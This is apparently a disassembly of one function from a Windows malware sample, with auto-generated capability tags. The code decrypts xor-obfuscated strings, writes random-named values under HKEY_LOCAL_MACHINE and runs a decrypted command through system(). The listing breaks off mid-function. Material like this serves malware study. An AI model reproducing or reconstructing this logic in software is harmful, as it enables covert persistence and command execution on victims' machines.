Function at 0x1400c0f90
Capabilities:
Encode data using xor
Encrypt data using speck
Execute command
Generate random numbers using a mersenne twister
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1540]
mov eax, 0x1640
call fcn.140149250
sub rsp, rax
movaps xmmword [rsp + 0x1630], xmm6
movaps xmmword [rsp + 0x1620], xmm7
mov rax, qword [0x14018e080]
xor rax, rsp
mov qword [rbp + 0x1510], rax
xor ebx, ebx
mov dword [rbp - 0x30], ebx
movups xmm0, xmmword [str.zrfqavjf]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [0x140176360]
movups xmmword [rbp + 0x20], xmm1
movups xmm0, xmmword [0x140176370]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [0x140176380]
movups xmmword [rbp + 0x40], xmm1
movsd xmm0, qword [0x140176390]
movsd qword [rbp + 0x50], xmm0
mov eax, dword [str._t_bsD]
mov dword [rbp + 0x58], eax
movzx eax, byte [0x14017639c]
mov byte [rbp + 0x5c], al
mov r8d, ebx
mov r13d, dword [reloc.WS2_32.dll_accept]
cmp r13d, 2
jl 0x1400c117e
movdqa xmm5, xmmword [0x140178380]
movdqa xmm4, xmmword [0x140178780]
movdqa xmm6, xmmword [0x140178430]
movdqa xmm0, xmmword [0x140178560]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x14]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x1400c1071
cmp r8d, 0x4d
jge 0x1400c11c3
movsxd rax, r8d
lea r9, [rbp + 0x10]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4d
jl 0x1400c1190
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rbp + 0x10]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov dword [rbp + 0x1504], 0xffffffff
mov dword [rbp + 0x184], eax
mov r14d, 1
mov edx, r14d
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, edx
mov dword [rbp + rdx*4 + 0x184], ecx
mov eax, ecx
inc rdx
cmp rdx, 0x270
jb 0x1400c1210
mov dword [rbp + 0x180], 0x270
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], rbx
mov qword [rbp], rbx
mov r8d, 2
lea rdx, [0x140173cd0]
lea rcx, [rbp - 0x18]
call fcn.140059080
nop
mov edi, 5
nop dword [rax]
movups xmm0, xmmword [str.SQWQSQ_QSQWQSQ_1317131_131L]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x140175370]
movsd qword [rsp + 0x40], xmm0
movzx eax, word [0x140175378]
mov word [rsp + 0x48], ax
movzx eax, byte [0x14017537a]
mov byte [rsp + 0x4a], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c13ed
movdqa xmm5, xmmword [0x140178380]
movdqa xmm4, xmmword [0x140178780]
movdqa xmm6, xmmword [0x140178430]
movdqa xmm0, xmmword [0x140178560]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400c12e0
cmp r8d, 0x1b
jge 0x1400c1433
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x1400c1400
lea rcx, [rbp + 0x180]
call fcn.14008b5f0
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x1400c1467
nop word [rax + rax]
lea rcx, [rbp + 0x180]
call fcn.14008b5f0
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x1400c1450
shr rax, 0x20
movsx ecx, byte [rsp + rax + 0x30]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_toupper]
mov rdx, qword [rbp - 8]
mov r8, qword [rbp]
cmp rdx, r8
jae 0x1400c14a2
lea rcx, [rdx + 1]
mov qword [rbp - 8], rcx
lea rcx, [rbp - 0x18]
cmp r8, 0xf
cmova rcx, qword [rbp - 0x18]
mov byte [rcx + rdx], al
mov byte [rcx + rdx + 1], 0
jmp 0x1400c14af
movzx r9d, al
lea rcx, [rbp - 0x18]
call fcn.14005fbb0
sub rdi, 1
jne 0x1400c1270
mov r12d, 6
mov qword [rsp + 0x30], r12
mov esi, r12d
movzx r15d, byte [reloc.WLDAP32.dll_Ordinal_60]
movzx edi, word [0x140174768]
movsd xmm0, qword [0x140174760]
nop
movsd qword [rbp - 0x30], xmm0
mov word [rbp - 0x28], di
movzx ecx, r15b
mov byte [rbp - Ordinal_50], 0x30
xor byte [rbp - 0x2f], 0x33
xor byte [rbp - 0x2e], 0x34
xor byte [rbp - 0x2d], 0x35
xor byte [rbp - 0x2c], 0x36
xor byte [rbp - 0x2b], 0x37
xor byte [rbp - 0x2a], 0x38
xor byte [rbp - 0x29], 0x39
movzx eax, dil
xor al, 0x3a
mov byte [rbp - 0x28], al
xor byte [rbp - 0x27], 0x3b
xor cl, 0x3c
mov byte [rbp - 0x26], cl
lea rcx, [rbp + 0x180]
call fcn.14008b5f0
mov ecx, eax
lea rax, [rcx + rcx*4]
add rax, rax
cmp eax, 5
ja 0x1400c155a
nop word [rax + rax]
lea rcx, [rbp + 0x180]
call fcn.14008b5f0
mov ecx, eax
lea rax, [rcx + rcx*4]
add rax, rax
cmp eax, r12d
jb 0x1400c1540
shr rax, 0x20
movzx r9d, byte [rbp + rax - 0x30]
mov rcx, qword [rbp - 8]
mov rdx, qword [rbp]
cmp rcx, rdx
jae 0x1400c1591
lea rax, [rcx + 1]
mov qword [rbp - 8], rax
lea rax, [rbp - 0x18]
cmp rdx, 0xf
cmova rax, qword [rbp - 0x18]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400c15b1
lea rcx, [rbp - 0x18]
call fcn.14005fbb0
movzx r15d, byte [reloc.WLDAP32.dll_Ordinal_60]
movzx edi, word [0x140174768]
movsd xmm0, qword [0x140174760]
sub rsi, 1
jne 0x1400c14e0
lea r10, [rbp - 0x18]
movsd xmm0, qword [str.aVFW_vLWYYO_]
mov eax, dword [0x140175f18]
movsd qword [rbp - 0x30], xmm0
mov dword [rbp - 0x28], eax
movzx eax, byte [0x140175f1c]
mov byte [rbp - 0x24], al
cmp qword [rbp], 0xf
jbe 0x1400c15ea
mov r10, qword [rbp - 0x18]
mov r8d, ebx
cmp r13d, 2
jl 0x1400c16fe
movdqa xmm4, xmmword [0x140178780]
movdqa xmm2, xmmword [0x140178380]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140178430]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
mov eax, dword [0x140178560]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.aVFW_vLWYYO_]
xorps xmm2, xmm0
movd dword [rbp - 0x30], xmm2
movdqa xmm3, xmmword [0x1401783a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140178430]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x2c]
xorps xmm2, xmm1
movd dword [rbp - 0x2c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x30]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400c1710
mov eax, dword [rbp - 8]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rbp - 0x30]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400c1772
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp - 0x18]
call fcn.14003d640
movups xmm0, xmmword [0x140174d60]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x140174d70]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x140174d80]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x140174d90]
movups xmmword [rbp - 0x50], xmm1
movsd xmm0, qword [0x140174da0]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x140174da8]
mov dword [rbp - 0x38], eax
movzx eax, byte [0x140174dac]
mov byte [rbp - 0x34], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c190f
movdqa xmm5, xmmword [0x140178380]
movdqa xmm4, xmmword [0x140178780]
movdqa xmm6, xmmword [0x140178430]
movdqa xmm0, xmmword [0x140178560]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x1400c1802
cmp r8d, 0x4d
jge 0x1400c1953
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4d
jl 0x1400c1920
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rbp - 0x80]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov dword [rbp + 0x1504], 0xffffffff
mov dword [rbp + 0x184], eax
mov rdx, r14
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, edx
mov dword [rbp + rdx*4 + 0x184], ecx
mov eax, ecx
inc rdx
cmp rdx, 0x270
jb 0x1400c1991
mov dword [rbp + 0x180], 0x270
movzx eax, word [0x14017649c]
mov word [rbp - 0x30], ax
cmp byte [0x14017649d], 0
je 0x1400c19db
mov byte [rbp - 0x30], 0x53
xor byte [rbp - 0x2f], 0x33
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rbx
mov qword [rbp + 0x28], rbx
lea rax, [rbp - 0x30]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400c19f5
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x10]
call fcn.140059080
nop
mov r12d, 5
movups xmm0, xmmword [str.SQWQSQ_QSQWQSQ_1317131_131L]
movups xmmword [rbp - 0x18], xmm0
movsd xmm0, qword [0x140175370]
movsd qword [rbp - 8], xmm0
movzx eax, word [0x140175378]
mov word [rbp], ax
movzx eax, byte [0x14017537a]
mov byte [rbp + 2], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c1b8d
movdqa xmm5, xmmword [0x140178380]
movdqa xmm4, xmmword [0x140178780]
movdqa xmm6, xmmword [0x140178430]
movdqa xmm0, xmmword [0x140178560]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x14]
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400c1a80
cmp r8d, 0x1b
jge 0x1400c1bd3
movsxd rax, r8d
lea r9, [rbp - 0x18]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x1400c1ba0
lea rcx, [rbp + 0x180]
call fcn.14008b5f0
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x1400c1c07
nop word [rax + rax]
lea rcx, [rbp + 0x180]
call fcn.14008b5f0
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x1400c1bf0
shr rax, 0x20
movsx ecx, byte [rbp + rax - 0x18]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_toupper]
mov rdx, qword [rbp + 0x20]
mov r8, qword [rbp + 0x28]
cmp rdx, r8
jae 0x1400c1c42
lea rcx, [rdx + 1]
mov qword [rbp + 0x20], rcx
lea rcx, [rbp + 0x10]
cmp r8, 0xf
cmova rcx, qword [rbp + 0x10]
mov byte [rdx + rcx], al
mov byte [rdx + rcx + 1], 0
jmp 0x1400c1c4f
movzx r9d, al
lea rcx, [rbp + 0x10]
call fcn.14005fbb0
sub r12, 1
jne 0x1400c1a13
movzx esi, byte [reloc.WLDAP32.dll_Ordinal_60]
movzx edi, word [0x140174768]
movsd xmm0, qword [0x140174760]
mov r12, qword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movsd qword [rsp + 0x30], xmm0
mov word [rsp + 0x38], di
movzx ecx, sil
mov byte [rsp + gethostbyname], 0x30
xor byte [rsp + 0x31], 0x33
xor byte [rsp + 0x32], 0x34
xor byte [rsp + 0x33], 0x35
xor byte [rsp + 0x34], 0x36
xor byte [rsp + 0x35], 0x37
xor byte [rsp + 0x36], 0x38
xor byte [rsp + 0x37], 0x39
movzx eax, dil
xor al, 0x3a
mov byte [rsp + 0x38], al
xor byte [rsp + 0x39], 0x3b
xor cl, 0x3c
mov byte [rsp + 0x3a], cl
lea rcx, [rbp + 0x180]
call fcn.14008b5f0
mov ecx, eax
lea rax, [rcx + rcx*4]
add rax, rax
cmp eax, 5
ja 0x1400c1d0a
nop word [rax + rax]
lea rcx, [rbp + 0x180]
call fcn.14008b5f0
mov ecx, eax
lea rax, [rcx + rcx*4]
add rax, rax
cmp eax, 6
jb 0x1400c1cf0
shr rax, 0x20
movzx r9d, byte [rsp + rax + 0x30]
mov rcx, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x28]
cmp rcx, rdx
jae 0x1400c1d41
lea rax, [rcx + 1]
mov qword [rbp + 0x20], rax
lea rax, [rbp + 0x10]
cmp rdx, 0xf
cmova rax, qword [rbp + 0x10]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400c1d60
lea rcx, [rbp + 0x10]
call fcn.14005fbb0
movzx esi, byte [reloc.WLDAP32.dll_Ordinal_60]
movzx edi, word [0x140174768]
movsd xmm0, qword [0x140174760]
sub r12, 1
jne 0x1400c1c80
lea r10, [rbp + 0x10]
movsd xmm0, qword [str.aVFW_vLWYYO_]
mov eax, dword [0x140175f18]
movsd qword [rsp + 0x30], xmm0
mov dword [rsp + 0x38], eax
movzx eax, byte [0x140175f1c]
mov byte [rsp + 0x3c], al
cmp qword [rbp + 0x28], 0xf
jbe 0x1400c1d9c
mov r10, qword [rbp + 0x10]
mov r8d, ebx
cmp r13d, 2
jl 0x1400c1eb3
movdqa xmm4, xmmword [0x140178780]
movdqa xmm2, xmmword [0x140178380]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140178430]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
mov eax, dword [0x140178560]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.aVFW_vLWYYO_]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x1401783a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140178430]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400c1ec0
mov eax, dword [rbp + 0x20]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400c1f23
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp + 0x10]
call fcn.14003d640
movups xmm0, xmmword [0x1401752f0]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [0x140175300]
movups xmmword [rbp + 0x20], xmm1
movups xmm0, xmmword [0x140175310]
movups xmmword [rbp + 0x30], xmm0
mov eax, dword [0x140175320]
mov dword [rbp + 0x40], eax
movzx eax, byte [0x140175324]
mov byte [rbp + 0x44], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c20ad
movdqa xmm5, xmmword [0x140178380]
movdqa xmm4, xmmword [0x140178780]
movdqa xmm6, xmmword [0x140178430]
movdqa xmm0, xmmword [0x140178560]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x14]
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400c1fa0
cmp r8d, 0x35
jge 0x1400c20f3
movsxd rax, r8d
lea r9, [rbp + 0x10]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x1400c20c0
lea rcx, [rbp + 0x10]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140175458]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [0x140175468]
movups xmmword [rbp + 0x20], xmm1
movups xmm0, xmmword [0x140175478]
movups xmmword [rbp + 0x30], xmm0
movsd xmm0, qword [0x140175488]
movsd qword [rbp + 0x40], xmm0
movzx eax, byte [0x140175490]
mov byte [rbp + 0x48], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c227d
movdqa xmm5, xmmword [0x140178380]
